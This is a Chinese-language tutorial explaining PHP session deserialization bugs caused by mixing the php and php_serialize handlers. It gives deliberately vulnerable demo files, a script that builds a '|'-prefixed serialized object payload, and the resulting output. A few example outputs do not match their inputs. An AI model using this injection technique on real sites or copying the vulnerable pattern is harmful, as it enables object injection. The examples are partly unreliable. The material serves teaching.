参考文章:PHP session反序列化漏洞超详细讲解_php技巧_脚本之家 (jb51.net)
一、前置基础
1、session请求过程:
当某个用户第一次访问网站时,Session_start()函数会创建一个唯一的SessionID,并通过HTTP响应头,也就是返回包,将SessionID保存在客户端,也就是用户浏览器的Cookie中。与此同时,服务端也会在本地创建一个以SessionID命名的文件,用来保存这个用户的会话信息。当用户再次访问这个网站时,会自动通过HTTP请求头将Cookie中保存的SessionID再次发送给服务端,此时Session_start()函数不会再次分配一个SessionID,而是去寻找和这个SessionID同名的Session文件,将之前存储的信息读出,在当前脚本使用,达到跟踪用户的功能。
2、session配置
在探讨session反序列化漏洞时我们只需要关注存储引擎即可
注:session文件存储路径在php.ini文件中的session.save_path中(Linux默认为/tmp目录下)
PHP:
存储方式:键名+|+经过serialize函数处理后的值;
测试代码:
php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
当参数为user=123
输出结果为:
username|s:6:"123123";
PHP_serialize:
存储方式:经过serialize函数处理后的值
测试代码:
php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
输出结果为:
a:1:{s:8:"username";s:6:"123123";}
PHP_binary:
存储方式:键名长度所对应的ASCII码+键名+经过serialize函数处理后的值
测试代码:
php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
输出结果为:
usernames:6:"123123";
二、session反序列化漏洞
根据上面不同的session存储引擎可知,不同的存储引擎有着不同的解析方式,当存储引擎使用不当则可能会出现反序列化漏洞,如下:
serialize.php
php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
serialize1.php
php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
}
}
以上两PHP文件在session的存储引擎上采用了不同的方式,因此在解析session文件中的数据时就产生了歧义,如对于php_serialize来说 "|"仅仅只是一个字符,但对于php而言则是分割符,因此对session产生了不同的解析结果,我们通过如下脚本生成payload
makepayload.php
php
<?php
class user {
var $name;
var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo "|".serialize($a);
payload:
|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}
通过user传参给serialize.php
php_serialize解析结果:
a:1:{s:8:"username";s:56:"|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}";}
此时我们访问serialize1.php,则会发现输出结果hello,cc!
分析:
对于serialize.php文件中的数据是一整条经过serialize函数处理后的结果,其代表的含义仅仅是一个username的键对应|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}的值,在php_serialize眼中这仅仅只是个字符串。
但对于serialize1.php文件中的php_serialize而言整条数据是这样的
键名:username
值:O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}
在php眼中的"|"是分割符因此他直接将后面的数据解析为对象了,从而产生了反序列化漏洞